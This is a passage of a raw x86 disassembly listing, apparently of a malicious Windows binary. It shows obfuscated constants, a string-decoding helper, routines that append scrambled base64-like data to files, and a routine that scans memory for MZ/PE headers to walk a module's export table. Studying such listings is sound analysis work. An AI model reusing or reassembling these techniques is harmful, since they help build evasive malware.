		add	eax, dword_44D15C
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_441E40
		push	offset word_44DDCA
		call	sub_43AC82
		push	[ebp+var_30E50]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	ds:dword_44C810
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_446024
		add	esp, 18h
		and	[ebp+var_60ED4], 0
		lea	eax, [ebp+var_60ED4]
		push	eax
		push	offset dword_44EC64
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_44D0E8
		movsx	edx, word_44D130
		add	eax, edx
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_441AD2
		lea	eax, [ebp+var_60ED8]
		push	eax
		mov	eax, [ebp+var_60ED4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F0h]
		mov	ebx, eax
		mov	eax, dword_44D184
		add	eax, dword_44D0DC
		dec	eax
		cmp	ebx, eax
		jnz	loc_441AC6
		lea	eax, [ebp+var_60E9F]
		push	eax
		push	[ebp+var_60ED8]
		call	sub_43B896
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_60EB8], edi
		push	[ebp+var_60ED8]
		call	ds:dword_44CD84
		mov	eax, dword_44D100
		sub	eax, 7
		mov	[ebp+var_40E9C], eax
		jmp	short loc_4416CB
; ---------------------------------------------------------------------------


loc_44167E:				; CODE XREF: sub_441138+59Fj
		mov	eax, [ebp+var_40E9C]
		movsx	eax, [ebp+eax+var_60E9F]
		mov	edx, dword_44D0FC
		add	edx, 6
		cmp	eax, edx
		jz	short loc_4416AF
		movsx	edx, word_44D210
		movsx	ecx, word_44D148
		lea	edx, [edx+ecx+4]
		cmp	eax, edx
		jnz	short loc_4416C5


loc_4416AF:				; CODE XREF: sub_441138+55Fj
		mov	eax, [ebp+var_40E9C]
		mov	edx, dword_44D0FC
		sub	edx, 7
		mov	[ebp+eax+var_60E9F], dl


loc_4416C5:				; CODE XREF: sub_441138+575j
		inc	[ebp+var_40E9C]


loc_4416CB:				; CODE XREF: sub_441138+544j
		mov	eax, [ebp+var_60EB8]
		cmp	[ebp+var_40E9C], eax
		jb	short loc_44167E
		lea	eax, [ebp+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	sub_445970
		mov	eax, dword_44D1CC
		add	eax, dword_44D154
		sub	eax, 4
		mov	[ebp+var_40E9C], eax


loc_441700:				; CODE XREF: sub_441138+705j
		mov	eax, [ebp+var_40E9C]
		lea	ecx, [ebp+eax+var_60E9F]
		or	eax, 0FFFFFFFFh


loc_441710:				; CODE XREF: sub_441138+5DDj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_441710
		mov	[ebp+var_60EA8], eax
		movsx	edx, word_44D1B8
		sub	edx, 5
		cmp	eax, edx
		jz	short loc_44173C
		mov	edx, dword_44D140
		lea	edx, [edx+edx+0B6h]
		cmp	eax, edx
		jbe	short loc_441741


loc_44173C:				; CODE XREF: sub_441138+5F1j
		jmp	loc_441814
; ---------------------------------------------------------------------------


loc_441741:				; CODE XREF: sub_441138+602j
		mov	eax, dword_44D0A4
		sub	eax, 9
		mov	[ebp+var_60EA4], eax
		jmp	short loc_441780
; ---------------------------------------------------------------------------


loc_441751:				; CODE XREF: sub_441138+654j
		mov	eax, [ebp+var_40E9C]
		add	eax, [ebp+var_60EA4]
		movsx	eax, [ebp+eax+var_60E9F]
		movsx	edx, word_44D0F4
		mov	ecx, dword_44D184
		lea	edx, [edx+ecx+18h]
		cmp	eax, edx
		jnz	short loc_44178E
		inc	[ebp+var_60EA4]


loc_441780:				; CODE XREF: sub_441138+617j
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_60EA4], eax
		jb	short loc_441751


loc_44178E:				; CODE XREF: sub_441138+640j
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_60EA4], eax
		jz	short loc_441814
		mov	eax, dword_44D124
		dec	eax
		push	eax
		mov	eax, [ebp+var_40E9C]
		lea	eax, [ebp+eax+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	sub_444D98
		add	esp, 0Ch
		mov	[ebp+var_60EDC], eax
		mov	eax, dword_44D0BC
		add	eax, 0FFF4h
		add	eax, dword_44D24C
		cmp	[ebp+var_60EDC], eax
		jnz	short loc_441814
		push	offset byte_44DDC5
		call	sub_43AC82
		push	eax
		lea	edi, [ebp+var_50E9B]
		push	edi
		call	ds:dword_446024
		mov	eax, [ebp+var_40E9C]
		lea	eax, [ebp+eax+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	ds:dword_446024
		add	esp, 14h


loc_441814:				; CODE XREF: sub_441138:loc_44173Cj
					; sub_441138+662j ...
		mov	eax, [ebp+var_60EA8]
		mov	edx, dword_44D14C
		add	edx, dword_44D0FC
		sub	edx, 0Eh
		add	eax, edx
		add	[ebp+var_40E9C], eax
		mov	eax, [ebp+var_60EB8]
		cmp	[ebp+var_40E9C], eax
		jb	loc_441700
		mov	eax, dword_44D158
		add	eax, dword_44D1D0
		sub	eax, 0Dh
		mov	[ebp+var_60EB4], eax
		lea	ecx, [ebp+var_50E9B]
		or	eax, 0FFFFFFFFh


loc_441860:				; CODE XREF: sub_441138+72Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_441860
		mov	[ebp+var_60EA8], eax
		movsx	eax, word_44D190
		add	eax, dword_44D20C
		sub	eax, 0Ch
		mov	[ebp+var_40E9C], eax
		jmp	loc_441A94
; ---------------------------------------------------------------------------


loc_441888:				; CODE XREF: sub_441138+968j
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		movsx	edx, word_44D0E4
		add	edx, 1Eh
		cmp	eax, edx
		jz	short loc_4418AB
		and	[ebp+var_60EAC], 0


loc_4418AB:				; CODE XREF: sub_441138+76Aj
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		movsx	edx, word_44D204
		add	edx, 1Ah
		cmp	eax, edx
		jnz	loc_441A37
		mov	eax, dword_44D0F0
		cmp	[ebp+var_40E9C], eax
		jbe	loc_441986
		movsx	eax, word_44D180
		mov	edx, [ebp+var_40E9C]
		mov	ecx, eax
		add	ecx, eax
		mov	eax, ecx
		sub	eax, 9
		sub	edx, eax
		mov	al, [ebp+edx+var_50E9B]
		mov	[ebp+var_60EDD], al
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_44D0B0
		add	edx, 0Eh
		add	edx, dword_44D188
		cmp	eax, edx
		jle	short loc_441928
		mov	edx, dword_44D134
		add	edx, 2Ch
		cmp	eax, edx
		jl	short loc_44197C


loc_441928:				; CODE XREF: sub_441138+7E1j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_44D0AC
		add	edx, 34h
		cmp	eax, edx
		jle	short loc_441952
		mov	edx, dword_44D17C
		add	edx, 33h
		movsx	ecx, word_44D1B8
		add	edx, ecx
		cmp	eax, edx
		jl	short loc_44197C


loc_441952:				; CODE XREF: sub_441138+802j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_44D184
		add	edx, 77h
		movsx	ecx, word_44D0E4
		add	edx, ecx
		cmp	eax, edx
		jle	short loc_441986
		mov	edx, dword_44D1D8
		add	edx, 7Ch
		cmp	eax, edx
		jge	short loc_441986


loc_44197C:				; CODE XREF: sub_441138+7EEj
					; sub_441138+818j
		mov	[ebp+var_60EAC], 1


loc_441986:				; CODE XREF: sub_441138+79Ej
					; sub_441138+835j ...
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_40E9C], eax
		jnb	loc_441A37
		mov	eax, [ebp+var_40E9C]
		mov	edx, dword_44D244
		sub	edx, 8
		add	eax, edx
		mov	al, [ebp+eax+var_50E9B]
		mov	[ebp+var_60EDD], al
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_44D0F0
		add	edx, 1Eh
		add	edx, dword_44D0E0
		cmp	eax, edx
		jle	short loc_4419E3
		mov	edx, dword_44D140
		add	edx, 20h
		add	edx, dword_44D0FC
		cmp	eax, edx
		jl	short loc_441A2D


loc_4419E3:				; CODE XREF: sub_441138+896j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_44D0B0
		add	edx, 27h
		add	edx, dword_44D218
		cmp	eax, edx
		jle	short loc_441A0B
		movsx	edx, word_44D1C0
		add	edx, 38h
		cmp	eax, edx
		jl	short loc_441A2D


loc_441A0B:				; CODE XREF: sub_441138+8C3j
		movzx	eax, [ebp+var_60EDD]
		movsx	edx, word_44D128
		add	edx, 75h
		cmp	eax, edx
		jle	short loc_441A37
		mov	edx, dword_44D158
		add	edx, 77h
		cmp	eax, edx
		jge	short loc_441A37


loc_441A2D:				; CODE XREF: sub_441138+8A9j
					; sub_441138+8D1j
		mov	[ebp+var_60EAC], 1


loc_441A37:				; CODE XREF: sub_441138+78Dj
					; sub_441138+85Aj ...
		cmp	[ebp+var_60EAC], 0
		jnz	short loc_441A60
		mov	eax, [ebp+var_60EB4]
		mov	edx, [ebp+var_40E9C]
		mov	dl, [ebp+edx+var_50E9B]
		mov	[ebp+eax+var_50E9B], dl
		inc	[ebp+var_60EB4]


loc_441A60:				; CODE XREF: sub_441138+906j
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		mov	edx, dword_44D1E8
		add	edx, 10h
		movsx	ecx, word_44D1DC
		add	edx, ecx
		cmp	eax, edx
		jnz	short loc_441A8E
		mov	[ebp+var_60EAC], 1


loc_441A8E:				; CODE XREF: sub_441138+94Aj
		inc	[ebp+var_40E9C]


loc_441A94:				; CODE XREF: sub_441138+74Bj
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_40E9C], eax
		jb	loc_441888
		mov	eax, [ebp+var_60EB4]
		movsx	edx, word_44D190
		movsx	ecx, word_44D090
		add	edx, ecx
		sub	edx, 0Ah
		mov	[ebp+eax+var_50E9B], dl


loc_441AC6:				; CODE XREF: sub_441138+506j
		mov	eax, [ebp+var_60ED4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_441AD2:				; CODE XREF: sub_441138+4DAj
		and	[ebp+var_60EB0], 0
		lea	eax, [ebp+var_60EB0]
		push	eax
		push	offset dword_44EC74
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44D134
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_441DD3
		lea	eax, [ebp+var_60EBC]
		push	eax
		mov	eax, [ebp+var_60EB0]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+6Ch]
		mov	ebx, eax
		movsx	eax, word_44D114
		add	eax, dword_44D238
		sub	eax, 12h
		cmp	ebx, eax
		jnz	loc_441DC7
		mov	eax, dword_44D10C
		mov	[ebp+var_50EA0], eax
		jmp	loc_441DB5
; ---------------------------------------------------------------------------


loc_441B44:				; CODE XREF: sub_441138+C89j
		push	dword_44D0DC
		call	ds:dword_44C80C
		pop	ecx
		mov	[ebp+var_70F08], 2
		mov	eax, [ebp+var_50EA0]
		mov	[ebp+var_70F00], eax
		lea	eax, [ebp+var_70EF8]
		push	eax
		lea	esi, [ebp+var_70F08]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_70F08]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_60EB0]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+74h]
		mov	ebx, eax
		mov	eax, dword_44D0D8
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_441DAF
		and	[ebp+var_70EF4], 0
		lea	eax, [ebp+var_70EF4]
		push	eax
		push	offset dword_44EC64
		mov	eax, [ebp+var_70EF8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44D230
		add	eax, dword_44D14C
		sub	eax, 0Fh
		cmp	ebx, eax
		jnz	loc_441DA3
		lea	eax, [ebp+var_60EF0]
		push	eax
		mov	eax, dword_44D100
		add	eax, dword_44D0B0
		sub	eax, 10h
		push	eax
		push	[ebp+var_30E44]
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_441C22
		cmp	[ebp+var_60EF0], 8
		jz	short loc_441C27


loc_441C22:				; CODE XREF: sub_441138+ADEj
		jmp	loc_441D97
; ---------------------------------------------------------------------------


loc_441C27:				; CODE XREF: sub_441138+AE8j
		mov	eax, dword_44D18C
		mov	edx, dword_44D14C
		sub	edx, 8
		mov	[ebp+eax+var_70EF0], dl
		lea	eax, [ebp+var_70EEF]
		push	eax
		push	[ebp+var_60EE8]
		call	sub_43B896
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_71F0C], edi
		push	[ebp+var_60EE8]
		call	ds:dword_44CD84
		movsx	eax, word_44D11C
		add	eax, dword_44D0DC
		movsx	eax, byte ptr [ebp+eax+var_70EF4+1]
		mov	edx, dword_44D1A4
		dec	edx
		cmp	eax, edx
		jz	loc_441D97
		push	[ebp+var_30E4C]
		lea	eax, [ebp+var_70EEF]
		push	eax
		call	sub_43BE21
		add	esp, 8
		lea	eax, [ebp+var_60EF0]
		push	eax
		mov	eax, dword_44D19C
		add	eax, dword_44D1CC
		sub	eax, 0Ah
		push	eax
		push	[ebp+var_30E48]
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, dword_44D19C
		add	eax, dword_44D208
		mov	edx, dword_44D1A8
		add	edx, dword_44D20C
		sub	edx, 0Fh
		mov	[ebp+eax+var_71F16], dl
		or	ebx, ebx
		jnz	short loc_441D22
		cmp	[ebp+var_60EF0], 8
		jnz	short loc_441D22
		lea	eax, [ebp+var_71F07]
		push	eax
		push	[ebp+var_60EE8]
		call	sub_43B896
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_71F10], edi
		push	[ebp+var_60EE8]
		call	ds:dword_44CD84


loc_441D22:				; CODE XREF: sub_441138+BB4j
					; sub_441138+BBEj
		push	offset byte_44DDBD
		call	sub_43AC82
		push	[ebp+var_50EA0]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	ds:dword_44C810
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_446024
		lea	eax, [ebp+var_71F07]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_446024
		push	offset dword_44DDB8
		call	sub_43AC82
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_446024
		lea	eax, [ebp+var_70EEF]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_446024
		add	esp, 34h


loc_441D97:				; CODE XREF: sub_441138:loc_441C22j
					; sub_441138+B4Cj
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_441DA3:				; CODE XREF: sub_441138+AACj
		mov	eax, [ebp+var_70EF8]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_441DAF:				; CODE XREF: sub_441138+A71j
		inc	[ebp+var_50EA0]


loc_441DB5:				; CODE XREF: sub_441138+A07j
		mov	eax, [ebp+var_60EBC]
		cmp	[ebp+var_50EA0], eax
		jb	loc_441B44


loc_441DC7:				; CODE XREF: sub_441138+9F6j
		mov	eax, [ebp+var_60EB0]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_441DD3:				; CODE XREF: sub_441138+9C9j
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		movzx	eax, [ebp+var_50E9B]
		mov	edx, dword_44D1CC
		add	edx, dword_44D188
		sub	edx, 0Ah
		cmp	eax, edx
		jz	short loc_441E40
		push	offset word_44DDB2
		call	sub_43AC82
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_446024
		lea	eax, [ebp+var_50E9B]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_446024
		push	offset byte_44DDAD
		call	sub_43AC82
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_446024
		add	esp, 20h


loc_441E40:				; CODE XREF: sub_441138+465j
					; sub_441138+CBFj
		inc	[ebp+var_30E50]


loc_441E46:				; CODE XREF: sub_441138+3E9j
		mov	eax, [ebp+var_30E58]
		cmp	[ebp+var_30E50], eax
		jb	loc_441526


loc_441E58:				; CODE XREF: sub_441138+275j
					; sub_441138+300j ...
		inc	[ebp+var_40E5C]
		mov	eax, [ebp+var_40E90]
		cmp	[ebp+var_40E5C], eax
		jl	loc_44136E
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44C804
		pop	ecx
		push	[ebp+var_30E44]
		call	ds:dword_44CD84
		push	[ebp+var_30E48]
		call	ds:dword_44CD84


loc_441E96:				; CODE XREF: sub_441138+1DAj
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_441EA2:				; CODE XREF: sub_441138+1B5j
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_441EAE:				; CODE XREF: sub_441138+188j
		mov	eax, [ebp+var_40E68]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_441EBA:				; CODE XREF: sub_441138+B9j
					; sub_441138:loc_441245j ...
		mov	eax, [ebp+var_40E64]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_441EC6:				; CODE XREF: sub_441138+47j
					; sub_441138+8Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_441138	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441ECB	proc near		; CODE XREF: sub_43EB7A+48Ap
					; DATA XREF: sub_43E524+10Do

var_104		= byte ptr -104h
var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	edi
		mov	eax, dword_44D1CC
		mov	dl, [ebp+arg_0]
		mov	[ebp+eax+var_100], dl
		push	0
		push	80h
		push	4
		push	0
		mov	eax, dword_44D0B0
		sub	eax, 9
		push	eax
		push	40000000h
		push	offset dword_44A220
		call	ds:dword_44C968	; CreateFileA
		mov	edi, eax
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		movsx	eax, word_44D130
		dec	eax
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_44CD6C	; WriteFile
		push	edi
		call	ds:dword_44B82C	; CloseHandle
		pop	edi
		leave
		retn
sub_441ECB	endp


; =============== S U B	R O U T	I N E =======================================



sub_441F34	proc near		; CODE XREF: sub_43A39F+25p
		push	edi
		push	offset byte_44DD9F
		call	sub_43AC82
		pop	ecx
		push	eax
		call	ds:dword_449598	; GetModuleHandleA
		mov	dword_44D270, eax
		test	eax, eax
		jnz	short loc_441F67
		push	offset asc_44DD91 ; "\n"
		call	sub_43AC82
		pop	ecx
		push	eax
		call	ds:dword_44A208	; LoadLibraryA
		mov	dword_44D270, eax


loc_441F67:				; CODE XREF: sub_441F34+1Aj
		cmp	dword_44D270, 0
		jz	short loc_441F95
		movsx	eax, word_44D128
		movsx	edx, word_44D090
		add	eax, edx
		sub	eax, 5
		push	eax
		push	dword_44D270
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_446020, eax


loc_441F95:				; CODE XREF: sub_441F34+3Aj
		pop	edi
		retn
sub_441F34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441F97	proc near		; DATA XREF: sub_43E524+BBo
					; sub_43E524+C6o

var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= byte ptr -110h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 118h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_44D198
		movsx	edx, word_44D120
		add	eax, edx
		sub	eax, 12h
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_441FD0
		push	offset dword_4490A0
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_445970
		jmp	short loc_441FE1
; ---------------------------------------------------------------------------


loc_441FD0:				; CODE XREF: sub_441F97+24j
		push	offset dword_44A430
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_445970


loc_441FE1:				; CODE XREF: sub_441F97+37j
		push	0
		mov	eax, dword_44D134
		sub	eax, 4
		push	eax
		push	4
		push	0
		movsx	eax, word_44D130
		movsx	edx, word_44D098
		add	eax, edx
		sub	eax, 7
		push	eax
		push	40000000h
		lea	eax, [ebp+var_110]
		push	eax
		call	ds:dword_44C968	; CreateFileA
		mov	[ebp+var_8], eax
		push	2
		push	0
		mov	eax, dword_44D174
		sub	eax, 2
		push	eax
		push	[ebp+var_8]
		call	ds:dword_44CD80	; SetFilePointer
		push	offset byte_44DD89
		call	sub_43AC82
		pop	ecx
		push	0
		lea	edx, [ebp+var_C]
		push	edx
		mov	edx, dword_44D22C
		add	edx, dword_44D0EC
		sub	edx, 6
		push	edx
		push	eax
		push	[ebp+var_8]
		call	ds:dword_44CD6C	; WriteFile
		push	493E0h
		push	40h
		call	ds:dword_4499EC	; LocalAlloc
		mov	ebx, eax
		push	61A80h
		push	40h
		call	ds:dword_4499EC	; LocalAlloc
		mov	esi, eax
		mov	eax, dword_44D244
		movsx	edx, word_44D120
		add	eax, edx
		sub	eax, 12h
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_44209F
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		push	ebx
		call	sub_445970
		jmp	short loc_4420A8
; ---------------------------------------------------------------------------


loc_44209F:				; CODE XREF: sub_441F97+F9j
		push	[ebp+arg_0]
		push	ebx
		call	sub_445970


loc_4420A8:				; CODE XREF: sub_441F97+106j
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_4420AD:				; CODE XREF: sub_441F97+11Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4420AD
		mov	[ebp+var_4], eax
		mov	eax, dword_44D1E8
		mov	edi, eax
		add	edi, dword_44D09C
		sub	edi, 8
		jmp	short loc_4420EF
; ---------------------------------------------------------------------------


loc_4420C9:				; CODE XREF: sub_441F97+15Bj
		movzx	eax, byte ptr [ebx+edi]
		mov	[ebp+var_114], eax
		mov	eax, edi
		mul	edi
		mov	[ebp+var_118], eax
		mov	eax, [ebp+var_114]
		mov	edx, [ebp+var_118]
		add	eax, edx
		mov	[ebx+edi], al
		inc	edi


loc_4420EF:				; CODE XREF: sub_441F97+130j
		cmp	edi, [ebp+var_4]
		jb	short loc_4420C9
		mov	eax, dword_44D0CC
		add	eax, 61A76h
		add	eax, dword_44D0A8
		push	eax
		push	esi
		push	[ebp+var_4]
		push	ebx
		call	sub_4443C4
		add	esp, 10h
		movsx	edi, word_44D0B8
		sub	edi, 9
		jmp	short loc_442133
; ---------------------------------------------------------------------------


loc_44211E:				; CODE XREF: sub_441F97+1AAj
		cmp	byte ptr [esi+edi], 2Bh
		jnz	short loc_442128
		mov	byte ptr [esi+edi], 28h


loc_442128:				; CODE XREF: sub_441F97+18Bj
		cmp	byte ptr [esi+edi], 3Dh
		jnz	short loc_442132
		mov	byte ptr [esi+edi], 29h


loc_442132:				; CODE XREF: sub_441F97+195j
		inc	edi


loc_442133:				; CODE XREF: sub_441F97+185j
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_442138:				; CODE XREF: sub_441F97+1A6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_442138
		cmp	edi, eax
		jb	short loc_44211E
		mov	eax, dword_44D1B0
		sub	eax, 7
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_442181
		push	offset dword_44DD84
		call	sub_43AC82
		add	esp, 4
		push	0
		lea	edi, [ebp+var_C]
		push	edi
		mov	edi, dword_44D22C
		add	edi, dword_44D1E4
		sub	edi, 4
		push	edi
		push	eax
		push	[ebp+var_8]
		call	ds:dword_44CD6C	; WriteFile


loc_442181:				; CODE XREF: sub_441F97+1BBj
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_442186:				; CODE XREF: sub_441F97+1F4j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_442186
		push	0
		lea	edx, [ebp+var_C]
		push	edx
		mov	edx, dword_44D140
		add	edx, dword_44D158
		sub	edx, 10h
		mov	edi, eax
		add	edi, edx
		push	edi
		push	esi
		push	[ebp+var_8]
		call	ds:dword_44CD6C	; WriteFile
		push	[ebp+var_8]
		call	ds:dword_44B82C	; CloseHandle
		push	ebx
		call	ds:dword_4495CC	; LocalFree
		push	esi
		call	ds:dword_4495CC	; LocalFree
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_441F97	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4421CD	proc near		; DATA XREF: .data:0044D348o
		push	ebp
		mov	ebp, esp
		mov	eax, dword_44D1E8
		add	eax, dword_44D1C8
		sub	eax, 9
		cmp	ds:dword_44CD8C, eax
		jbe	short loc_4421F1
		push	offset dword_44CD8C
		call	ds:dword_446010	; InterlockedDecrement


loc_4421F1:				; CODE XREF: sub_4421CD+17j
		mov	eax, ds:dword_44CD8C
		pop	ebp
		retn	4
sub_4421CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4421FA	proc near		; CODE XREF: sub_44475F+227p

var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_281		= byte ptr -281h
var_26C		= byte ptr -26Ch
var_252		= byte ptr -252h
var_23D		= byte ptr -23Dh
var_231		= byte ptr -231h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_21F		= byte ptr -21Fh
var_21C		= byte ptr -21Ch
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_103		= byte ptr -103h
var_102		= byte ptr -102h
var_101		= byte ptr -101h
var_FE		= byte ptr -0FEh
var_FD		= byte ptr -0FDh
var_FC		= byte ptr -0FCh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, dword_44D0E0
		add	esi, 6
		mov	ecx, esi
		add	ecx, dword_44D13C
		shr	edi, cl
		movsx	esi, word_44D144
		movsx	edx, word_44D128
		lea	esi, [esi+edx+2]
		mov	ecx, esi
		mov	ebx, edi
		shl	ebx, cl


loc_442234:				; CODE XREF: sub_4421FA+55j
					; sub_4421FA+98j ...
		mov	[ebp+var_114], ebx
		mov	eax, ebx
		cmp	word ptr [eax],	5A4Dh
		jz	short loc_442251
		mov	eax, dword_44D134
		add	eax, 0FFFCh
		sub	ebx, eax
		jmp	short loc_442234
; ---------------------------------------------------------------------------


loc_442251:				; CODE XREF: sub_4421FA+47j
		mov	eax, dword_44D184
		add	eax, 38h
		add	eax, dword_44D1D8
		mov	edx, ebx
		add	edx, eax
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_118], edx
		mov	eax, [ebp+arg_0]
		cmp	edx, eax
		jbe	short loc_442294
		movsx	eax, word_44D11C
		mov	edx, dword_44D234
		lea	eax, [eax+edx+0FFF9h]
		sub	ebx, eax
		jmp	short loc_442234
; ---------------------------------------------------------------------------


loc_442294:				; CODE XREF: sub_4421FA+80j
		mov	eax, [ebp+var_118]
		mov	[ebp+var_11C], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jz	short loc_4422BB
		mov	eax, dword_44D1A4
		add	eax, 0FFFFh
		sub	ebx, eax
		jmp	loc_442234
; ---------------------------------------------------------------------------


loc_4422BB:				; CODE XREF: sub_4421FA+AEj
		mov	eax, [ebp+var_11C]
		mov	eax, [eax+78h]
		mov	[ebp+var_120], eax
		mov	ecx, ebx
		add	ecx, eax
		mov	[ebp+var_110], ecx
		mov	eax, ecx
		mov	edx, ebx
		add	edx, [eax+0Ch]
		push	edx
		lea	eax, [ebp+var_103]
		push	eax
		call	sub_445970
		mov	eax, dword_44D168
		add	eax, dword_44D1F8
		sub	eax, 0Fh
		mov	[ebp+var_4], eax
		jmp	short loc_44231D
; ---------------------------------------------------------------------------


loc_4422FB:				; CODE XREF: sub_4421FA+142j
		mov	eax, [ebp+var_4]
		mov	al, [ebp+eax+var_103]
		cmp	al, 61h
		jle	short loc_44231A
		cmp	al, 7Ah
		jge	short loc_44231A
		mov	eax, [ebp+var_4]
		lea	eax, [ebp+eax+var_103]
		sub	byte ptr [eax],	20h


loc_44231A:				; CODE XREF: sub_4421FA+10Dj
					; sub_4421FA+111j
		inc	[ebp+var_4]


loc_44231D:				; CODE XREF: sub_4421FA+FFj
		mov	eax, [ebp+var_4]
